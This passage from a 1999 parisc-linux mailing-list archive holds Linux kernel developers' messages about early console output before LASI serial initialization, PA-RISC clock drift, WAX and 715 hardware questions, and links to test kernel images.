> PS2/Keyboard/Mouse/RS232/HIL). This way it worked and I didnt thought too muc
>   h
> about it later....   :-)
> 
> [Is this for global interrest ??]

Grant Grundler
Communications Infrastructure Computer Operations
+1.408.447.7253


From - Thu Nov 08 21:16:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frank Rowand <frank_rowand@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] LASI and serial port initialization
Date: Tue, 19 Oct 1999 09:46:01 -0700
Lines: 50
Approved: news@gmane.org
Message-ID: <380CA049.E16634DF@hp.com>
References: <199910191630.JAA27454@milano.cup.hp.com>
Reply-To: frowand@cup.hp.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619798 14327 80.91.229.3 (22 Nov 2014 01:29:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:58 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com,
        Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: frank_rowand@hp.com  Tue Oct 19 10:45:20 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA26876
	for <parisc-linux@puffin.external.hp.com>; Tue, 19 Oct 1999 10:45:20 -0600
Original-Received: (qmail 8053 invoked by uid 15267); 19 Oct 1999 16:46:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8042 invoked from network); 19 Oct 1999 16:46:13 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 19 Oct 1999 16:46:13 -0000
Original-Received: from xsvr4.cup.hp.com (xsvr4.cup.hp.com [15.0.68.169])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id JAA22521
	for <parisc-linux@thepuffingroup.com>; Tue, 19 Oct 1999 09:46:06 -0700 (PDT)
Original-Received: from hp.com (localhost [127.0.0.1]) by xsvr4.cup.hp.com with ESMTP (8.7.6/8.7.3) id JAA08544; Tue, 19 Oct 1999 09:46:02 -0700 (PDT)
Original-Sender: frowand@cup.hp.com
X-Mailer: Mozilla 4.05 [en] (X11; I; HP-UX B.10.20 9000/869)
Xref: news.gmane.org gmane.linux.ports.parisc:10038

Grant Grundler wrote:
> 
> Helge and I exchanged some e-mail on the topic of LASI vis a vie
> serial port initialization. Since then, I've come to the conclusion
> all (or most) parisc platforms will have a similar problem.
> 
> The problem is LASI is "discovered" and initialized well after several
> other drivers want to print things to the console. I see a few options
> on how to handle it:
> 1) For each platform, force the console to be the first device "discovered"
>    and initialized. This is not a really good idea since console can be
>    different depending on configuration. Rebuilding the kernel to use
>    a different console doesn't seem reasonable to me. Having the user
>    figure out which devices need to be initialized first and build an
>    appropriate kernel so console works also seems unreasonable.  We are
>    headed down this path now though....
> 
> 2) Use IODC until the console device is "owned" by the appropriate driver
>    and can start taking input/output.
> 
> 3) buffer the output instead of calling IODC.
>    Size of the buffer will impose some sort of limit.
>    I think this is what HP-UX does but don't really know
>    and it shouldn't matter to us.

Yes, this is what HP-UX does.  And in the case of a panic, the buffered
messages are flushed to the console via IODC.

> Either 2 or 3 requires some software layer behind printk to change
> behavior at some point. I don't know where that point is or how
> exactly to define it. I just thought going down path #1 is going
> to be a real pain to support on a broad set of platforms.
> 
> Any other thoughts?

Yes, 2 or 3 sound best.

Some pros & cons... (assume that the pros are the opposite of the cons
for the other option)

  2) con: - polled I/O
          - may need to add infrastructure to do IODC I/O (but this should
            be in place for the panic and dump path anyway)
     pro: - should work on all platforms, once it works on one

  3) con: - when debugging new drivers and platforms, you won't get any
            debugging messages until the console driver works

-Frank


From - Thu Nov 08 21:16:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kirk Bresniker <kirkb@chrome.rose.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] different PA2.0 CPUs in the same box?
Date: Tue, 19 Oct 1999 9:55:50 PDT
Lines: 33
Approved: news@gmane.org
Message-ID: <199910191655.JAA08169@chrome.rose.hp.com>
References: <199910191604.JAA27382@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619798 14330 80.91.229.3 (22 Nov 2014 01:29:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:58 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: grundler@cup.hp.com
Original-X-From: kirkb@chrome.rose.hp.com  Tue Oct 19 10:53:21 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA27297
	for <parisc-linux@puffin.external.hp.com>; Tue, 19 Oct 1999 10:53:21 -0600
Original-Received: (qmail 11214 invoked by uid 15267); 19 Oct 1999 16:54:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11205 invoked from network); 19 Oct 1999 16:54:11 -0000
Original-Received: from cosrel1.hp.com (156.153.255.170)
  by mailserv2.iuinc.com with SMTP; 19 Oct 1999 16:54:11 -0000
Original-Received: from chrome.rose.hp.com (kirkb@chrome.rose.hp.com [15.8.150.209])
	by cosrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id KAA22722
	for <parisc-linux@thepuffingroup.com>; Tue, 19 Oct 1999 10:54:10 -0600 (MDT)
Original-Received: (from kirkb@localhost) by chrome.rose.hp.com (8.8.6 (PHNE_14041)/8.7.3) id JAA08169; Tue, 19 Oct 1999 09:55:50 -0700 (PDT)
In-Reply-To: <199910191604.JAA27382@milano.cup.hp.com>; from "Grant Grundler" at Oct 19, 99 9:04 am
X-Mailer: Elm [revision: 212.4]
Xref: news.gmane.org gmane.linux.ports.parisc:10039

| 
| The processors can run from a "system clock" and they all run synchronous.
| No chance of "clock drift" since they run at exactly the same pace.
| But on systems like 870, T-class and N-class, the processors are fed clock
| signals from (similar but) different sources.  Each frequency domain will
| slowly drift from the "average" and thus the processor clocks need to be
| resyncronized regularly.
| 

Eh? I can't speak to the T-Class, but N-Class processors (as well as
A,B,C,D,E,F,G,H,I,J,K, and L) all run from a single clock source.  All
of the fundamental problems of clock drift happen between systems, not
interior to a system.  The crystals used are usally 25~50ppm, which
would amount to a second or two per day between systems, which is
significant, but is easily sovled using NTP.

There is no time clock in the processor itself, but rather a register
which is incremented every clock tick. That is why you need to know the
frequency of the processor to convert clock ticks to wall time.  
I believe that there are some wrinkles that can happen in sensing the 
rollover of the interval timer register under all interrupt conditions,
and it may be that this is the 'synchronization' problem that you
are thinking about. But, I don't think that it is due to drift on the
hardware clock circuits.

KMB
--
+============================================================+
|       Kirk Bresniker    	(916) 748-2393		     |
|       8000 Foothills Blvd                                  |
|       Roseville, CA 95747-5649                             |
|       kirkb@rose.hp.com                                    |


From - Thu Nov 08 21:16:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] LASI and serial port initialization
Date: Tue, 19 Oct 1999 17:58:07 +0100 (BST)
Lines: 17
Approved: news@gmane.org
Message-ID: <E11dcaO-0001bd-00@the-village.bc.nu>
References: <199910191630.JAA27454@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text
X-Trace: ger.gmane.org 1416619799 14332 80.91.229.3 (22 Nov 2014 01:29:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:59 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, Helge.Deller@ruhr-uni-bochum.de
To: grundler@cup.hp.com (Grant Grundler)
Original-X-From: alan@lxorguk.ukuu.org.uk  Tue Oct 19 11:09:50 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA27695
	for <parisc-linux@puffin.external.hp.com>; Tue, 19 Oct 1999 11:09:49 -0600
Original-Received: (qmail 17873 invoked by uid 15267); 19 Oct 1999 17:10:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17859 invoked from network); 19 Oct 1999 17:10:42 -0000
Original-Received: from lightning.swansea.uk.linux.org (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 19 Oct 1999 17:10:42 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 11dcaO-0001bd-00; Tue, 19 Oct 1999 17:58:08 +0100
In-Reply-To: <199910191630.JAA27454@milano.cup.hp.com> from "Grant Grundler" at Oct 19, 99 09:30:45 am
Xref: news.gmane.org gmane.linux.ports.parisc:10040

> 2) Use IODC until the console device is "owned" by the appropriate driver
>    and can start taking input/output. 

That is basically the sparc approach. It also works well for bootstrapping
new hardware - nothing claims the console so you can see what happens until
you fix it

> Either 2 or 3 requires some software layer behind printk to change
> behavior at some point. I don't know where that point is or how

Not really. We have register_console() and unregister_console() already
in existance.

Alan




From - Thu Nov 08 21:16:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] LASI and serial port initialization
Date: Tue, 19 Oct 1999 19:22:58 +0200
Lines: 4
Approved: news@gmane.org
Message-ID: <19991019192258.A27572@suse.de>
References: <99101821580101.00297@P100> <199910191630.JAA27454@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619799 14335 80.91.229.3 (22 Nov 2014 01:29:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:59 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com,
        Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: prumpf@suse.de  Tue Oct 19 11:22:13 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA27923
	for <parisc-linux@puffin.external.hp.com>; Tue, 19 Oct 1999 11:22:12 -0600
Original-Received: (qmail 22550 invoked by uid 15267); 19 Oct 1999 17:23:05 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22537 invoked from network); 19 Oct 1999 17:23:05 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 19 Oct 1999 17:23:05 -0000
Original-Received: from Galois.suse.de (Galois.suse.de [194.112.123.130])
	by Cantor.suse.de (Postfix) with ESMTP
	id B2F4732CD4; Tue, 19 Oct 1999 19:23:04 +0200 (MEST)
Original-Received: from Wotan.suse.de (Wotan.suse.de [10.10.0.1])
	by Galois.suse.de (Postfix) with ESMTP
	id EA17D67AA; Tue, 19 Oct 1999 19:22:59 +0200 (MEST)
Original-Received: by Wotan.suse.de (Postfix, from userid 561)
	id 6DF8B7F8B; Tue, 19 Oct 1999 19:22:58 +0200 (MEST)
X-Mailer: Mutt 0.95.4i
In-Reply-To: <199910191630.JAA27454@milano.cup.hp.com>; from Grant Grundler on Tue, Oct 19, 1999 at 09:30:45AM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:10041

> 3) buffer the output instead of calling IODC.

This is what Linux does (have a look at kernel/printk.c)


From - Thu Nov 08 21:16:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Hibler <mike@fast.cs.utah.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re:  [parisc-linux] LASI and serial port initialization
Date: Tue, 19 Oct 1999 11:32:28 -0600 (MDT)
Lines: 54
Approved: news@gmane.org
Message-ID: <199910191732.LAA14850@fast.cs.utah.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619799 14339 80.91.229.3 (22 Nov 2014 01:29:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:59 +0000 (UTC)
Cc: Helge.Deller@ruhr-uni-bochum.de
To: grundler@cup.hp.com, parisc-linux@thepuffingroup.com
Original-X-From: mike@fast.cs.utah.edu  Tue Oct 19 11:35:37 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA28348
	for <parisc-linux@puffin.external.hp.com>; Tue, 19 Oct 1999 11:35:36 -0600
Original-Received: (qmail 28246 invoked by uid 15267); 19 Oct 1999 17:36:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28226 invoked from network); 19 Oct 1999 17:36:28 -0000
Original-Received: from fast.cs.utah.edu (155.99.212.1)
  by mailserv2.iuinc.com with SMTP; 19 Oct 1999 17:36:28 -0000
Original-Received: (from mike@localhost)
	by fast.cs.utah.edu (8.9.1/8.9.1) id LAA14850;
	Tue, 19 Oct 1999 11:32:28 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:10042

We did all three of these at one point or another (in our BSD and Mach).
Our variation on #1 was that we had a separate pseudo-console device that
used a private interface to the drivers.  So the serial driver and STI
(graphics) had cn_init, cn_putc, etc. functions.  cn_init would take
whatever measures necessary to ensure that the HW was setup independent
of the normal kernel HW probe path.  Console_init was called as early as
possible and then called again after the bus walk was done (since that
screwed up the serial port).

On hp300s (long ago!) we had a cn_probe for each possible console device
that was called first thing so we could choose the "highest priority" device
as the console at boot time.  Carrying this approach over to the PA, we
originally had a pdc_console device to do #2.  It was the "default" console
til the real console_init got done.

For our BSD we basically just do #3, buffering output until the real console
comes up and then dumping the buffer before anything else.  The "real
console" in this case is whatever the PDC tells us it is (serial or graphics).

Personally I don't see spending a lot of time worrying about this.  Our
simple console interface with pre-init buffering has been perfectly adequate
for us.  But our PA world is pretty simple, older 700 series machines and
one J-series.  So the console is either the builtin serial port or the
graphics device.  Are there that many more options now?

> To: parisc-linux@thepuffingroup.com
> Date: Tue, 19 Oct 1999 09:30:45 -0700
> From: Grant Grundler <grundler@cup.hp.com>
> Subject: [parisc-linux] LASI and serial port initialization
> 
> Helge and I exchanged some e-mail on the topic of LASI vis a vie
> serial port initialization. Since then, I've come to the conclusion
> all (or most) parisc platforms will have a similar problem.
> 
> The problem is LASI is "discovered" and initialized well after several
> other drivers want to print things to the console. I see a few options
> on how to handle it:
> 1) For each platform, force the console to be the first device "discovered"
>    and initialized. This is not a really good idea since console can be
>    different depending on configuration. Rebuilding the kernel to use
>    a different console doesn't seem reasonable to me. Having the user
>    figure out which devices need to be initialized first and build an
>    appropriate kernel so console works also seems unreasonable.  We are
>    headed down this path now though....
> 
> 2) Use IODC until the console device is "owned" by the appropriate driver
>    and can start taking input/output. 
> 
> 3) buffer the output instead of calling IODC.
>    Size of the buffer will impose some sort of limit.
>    I think this is what HP-UX does but don't really know
>    and it shouldn't matter to us.
> 


From - Thu Nov 08 21:16:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] LASI and serial port initialization
Date: Tue, 19 Oct 1999 11:36:50 -0700
Lines: 25
Approved: news@gmane.org
Message-ID: <199910191836.LAA27611@milano.cup.hp.com>
References: <199910191732.LAA14850@fast.cs.utah.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619799 14341 80.91.229.3 (22 Nov 2014 01:29:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:59 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Mike Hibler <mike@fast.cs.utah.edu>
Original-X-From: grundler@cup.hp.com  Tue Oct 19 12:36:12 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA29314
	for <parisc-linux@puffin.external.hp.com>; Tue, 19 Oct 1999 12:36:11 -0600
Original-Received: (qmail 21407 invoked by uid 15267); 19 Oct 1999 18:37:02 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21399 invoked from network); 19 Oct 1999 18:37:02 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 19 Oct 1999 18:37:02 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id OAA26567;
	Tue, 19 Oct 1999 14:36:09 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id LAA27611; Tue, 19 Oct 1999 11:36:55 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 19 Oct 1999 11:32:28 PDT."
             <199910191732.LAA14850@fast.cs.utah.edu> 
Xref: news.gmane.org gmane.linux.ports.parisc:10043

Mike Hibler wrote:
...
> Personally I don't see spending a lot of time worrying about this.  Our
> simple console interface with pre-init buffering has been perfectly adequate
> for us. 

I agree the pre-init buffering is perfectly acceptable. No problem.

> But our PA world is pretty simple, older 700 series machines and
> one J-series.  So the console is either the builtin serial port or the
> graphics device.  Are there that many more options now?

No. But I expect at least two more options by next year.
But even with just two options I think my reasons are valid.

grant

ps. I'm still doing homework to reply to Kirk's response about clock drift.
Short answer is I belive him about N-class and thus don't care if this is
just a T- or possibly V-class problem.

Grant Grundler
Unix Developement Lab
+1.408.447.7253


From - Thu Nov 08 21:16:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Phil Schwan <pschwan@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] LASI and serial port initialization
Date: Tue, 19 Oct 1999 16:13:27 -0400
Lines: 10
Approved: news@gmane.org
Message-ID: <19991019161327.A15943@thepuffingroup.com>
References: <199910191732.LAA14850@fast.cs.utah.edu> <199910191836.LAA27611@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619800 14343 80.91.229.3 (22 Nov 2014 01:30:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:00 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: pschwan@burrow.puffingroup.com  Tue Oct 19 13:44:17 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA30004
	for <parisc-linux@puffin.external.hp.com>; Tue, 19 Oct 1999 13:44:16 -0600
Original-Received: (qmail 18213 invoked by uid 15267); 19 Oct 1999 19:45:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18202 invoked from network); 19 Oct 1999 19:45:09 -0000
Original-Received: from burrow.puffingroup.com (pschwan@209.151.0.76)
  by mailserv2.iuinc.com with SMTP; 19 Oct 1999 19:45:09 -0000
Original-Received: (from pschwan@localhost)
	by burrow.puffingroup.com (8.8.7/8.8.7) id QAA16311;
	Tue, 19 Oct 1999 16:13:29 -0400
X-Mailer: Mutt 0.93.2
In-Reply-To: <199910191836.LAA27611@milano.cup.hp.com>; from Grant Grundler on Tue, Oct 19, 1999 at 11:36:50AM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:10044

On Oct 19, Grant Grundler wrote:
> I agree the pre-init buffering is perfectly acceptable. No problem.

I think the point that many people have noted (regarding ports to new
platforms and seeing data before the console is up) is worth thinking
about.  Why not register an IODC console immediately, and then
register a preferred console once it becomes available?

-Phil


From - Thu Nov 08 21:16:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christopher Beard <chris@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] So you wanna get to a prompt, eh?
Date: Tue, 19 Oct 1999 16:24:49 -0400 (EDT)
Lines: 30
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9910191607110.10378-100000@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619800 14345 80.91.229.3 (22 Nov 2014 01:30:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:00 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: chris@thepuffingroup.com  Tue Oct 19 18:15:08 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id SAA31821
	for <parisc-linux@puffin.external.hp.com>; Tue, 19 Oct 1999 18:15:07 -0600
Original-Received: (qmail 25570 invoked by uid 15267); 20 Oct 1999 00:16:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25563 invoked from network); 20 Oct 1999 00:16:01 -0000
Original-Received: from unknown (HELO ?192.168.1.229?) (@216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 20 Oct 1999 00:16:01 -0000
X-Sender: chris@localhost.localdomain
Xref: news.gmane.org gmane.linux.ports.parisc:10045


I've spent most of the afternoon working on the patches sent in by Thomas
Bogendoerfer, and have extended them to get the kernel working and to a
functional sash prompt. 

Instead of waiting on prumpf and others to finish commiting their code
(which I'm told conflicts with these changes), and not wanting to scramble
the CVS,  I'm going to post a tarball of my kernel tree at:

ftp://puffin.external.hp.com/pub/parisc/src/parisc-linux-src-19991019.tar.gz

And for those you out there who are interested in helping us test the
kernel, I've also posted a functional kernel image, for you try. You can
find it at:

ftp://puffin.external.hp.com/pub/parisc/binaries/kernels/Image-19991019-workingsash

And not wanted to leave much as an excercise for the reader, I've also
posted the ramdisk that I used, which has been extended to include
/dev/console, etc.
 
ftp://puffin.external.hp.com/pub/parisc/binaries/ramdisks/ramdisk.bin-19991019-workingsash

See http://www.thepuffingroup.com/parisc/recipe.html for Grant Grundler's
recipe, which includes a section on how to boot you PA-RISC box with one of
our kernel images.

Chris



From - Thu Nov 08 21:16:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] a WAX question.
Date: Wed, 20 Oct 1999 01:02:52 -0400 (EDT)
Lines: 20
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9910200059250.14349-100000@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619800 14350 80.91.229.3 (22 Nov 2014 01:30:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:00 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@thepuffingroup.com  Tue Oct 19 22:55:22 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id WAA00325
	for <parisc-linux@puffin.external.hp.com>; Tue, 19 Oct 1999 22:55:22 -0600
Original-Received: (qmail 393 invoked by uid 15267); 20 Oct 1999 04:56:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 386 invoked from network); 20 Oct 1999 04:56:16 -0000
Original-Received: from mrelay.bellglobal.com (198.235.216.100)
  by mailserv2.iuinc.com with SMTP; 20 Oct 1999 04:56:16 -0000
Original-Received: from vodka.thepuffingroup.com by mrelay.bellglobal.com
 (PMDF V5.1-12 #26722) with ESMTP id <0FJV00CE2XPQE0@mrelay.bellglobal.com> for
 parisc-linux@thepuffingroup.com; Wed, 20 Oct 1999 00:56:15 -0400 (EDT)
Xref: news.gmane.org gmane.linux.ports.parisc:10046


I've figured out the problems with getting Lasi working on my brand
spanking new 712/80, and had to make a more general Lasi hversion and
sversion pattern matching included in lasi.c (to be committed shortly).

I'm trying to make a generic one for RS232, and going through the hardware
table in arch/parisc/kernel/hardware.c, I need to ensure that I don't
conflict with other non-lasi serial ports.  

Something that comes up quite a bit in those entries is WAX.  Is there
actually a serial port on the WAX chip?  What can people tell me about
this chip?

- Alex

-- 
Alex deVries <adevries@thepuffingroup.com>
Vice President Engineering
The Puffin Group


From - Thu Nov 08 21:16:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] What's in a 715?
Date: Wed, 20 Oct 1999 01:44:56 -0400 (EDT)
Lines: 14
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9910200139120.14349-100000@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619801 14606 80.91.229.3 (22 Nov 2014 01:30:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:01 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@thepuffingroup.com  Tue Oct 19 23:37:26 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id XAA00747
	for <parisc-linux@puffin.external.hp.com>; Tue, 19 Oct 1999 23:37:26 -0600
Original-Received: (qmail 9682 invoked by uid 15267); 20 Oct 1999 05:38:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9673 invoked from network); 20 Oct 1999 05:38:20 -0000
Original-Received: from mrelay.bellglobal.com (198.235.216.100)
  by mailserv2.iuinc.com with SMTP; 20 Oct 1999 05:38:20 -0000
Original-Received: from vodka.thepuffingroup.com by mrelay.bellglobal.com
 (PMDF V5.1-12 #26722) with ESMTP id <0FJV00I49ZNUZ8@mrelay.bellglobal.com> for
 parisc-linux@thepuffingroup.com; Wed, 20 Oct 1999 01:38:18 -0400 (EDT)
Xref: news.gmane.org gmane.linux.ports.parisc:10047


I have two 715s now, one's a 715/75, the other a 715/50.

Exactly how's the IO connected on these boxes?  Does it actually have a
Lasi on board?  I had a look inside, and couldn't find anything with the
usual markings of a Lasi, although it might not be integrated.

- Alex

-- 
Alex deVries <adevries@thepuffingroup.com>
Vice President Engineering
The Puffin Group


From - Thu Nov 08 21:16:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Strelow <ulrich_strelow@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] What's in a 715?
Date: Wed, 20 Oct 1999 00:35:01 -0700 (PDT)
Lines: 67
Approved: news@gmane.org
Message-ID: <19991020073501.11967.rocketmail@web507.yahoomail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619801 14610 80.91.229.3 (22 Nov 2014 01:30:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:01 +0000 (UTC)
To: Alex deVries <adevries@thepuffingroup.com>,
        parisc-linux@thepuffingroup.com
Original-X-From: ulrich_strelow@yahoo.com  Wed Oct 20 01:33:10 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id BAA01555
	for <parisc-linux@puffin.external.hp.com>; Wed, 20 Oct 1999 01:33:09 -0600
Original-Received: (qmail 494 invoked by uid 15267); 20 Oct 1999 07:34:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 482 invoked from network); 20 Oct 1999 07:34:03 -0000
